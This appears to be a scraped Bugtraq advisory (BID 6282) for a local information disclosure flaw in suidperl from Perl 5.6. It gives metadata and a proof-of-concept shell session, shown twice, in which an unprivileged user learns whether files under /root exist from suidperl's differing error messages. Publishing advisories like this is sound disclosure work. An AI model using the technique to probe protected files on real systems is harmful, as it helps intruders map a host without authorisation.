SuidPerl Information Disclosure Vulnerability
BID:6282
Info
SuidPerl Information Disclosure Vulnerability
| Bugtraq ID: | 6282 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Nov 29 2002 12:00AM |
| Updated: | Nov 29 2002 12:00AM |
| Credit: | Discovery of this vulnerability credited to zen-parse. |
| Vulnerable: |
Larry Wall Perl 5.6 |
| Not Vulnerable: | |
Exploit / POC
SuidPerl Information Disclosure Vulnerability
The following proof of concept was provided:
bash-2.04$ ls -ald /root
drwxr-x--- 66 root root 8192 Nov 29 16:00 /root
bash-2.04$ id
uid=500(evil) gid=500(evil) groups=500(evil)
bash-2.04$ ls /root/.bashrc
ls: /root/.bashrc: Permission denied
bash-2.04$ suidperl /root/.bashrc
Script is not setuid/setgid in suidperl
bash-2.04$ suidperl /root/nonexistantfile
Can't open perl script "/root/nonexistantfile": No such file or directory
The following proof of concept was provided:
bash-2.04$ ls -ald /root
drwxr-x--- 66 root root 8192 Nov 29 16:00 /root
bash-2.04$ id
uid=500(evil) gid=500(evil) groups=500(evil)
bash-2.04$ ls /root/.bashrc
ls: /root/.bashrc: Permission denied
bash-2.04$ suidperl /root/.bashrc
Script is not setuid/setgid in suidperl
bash-2.04$ suidperl /root/nonexistantfile
Can't open perl script "/root/nonexistantfile": No such file or directory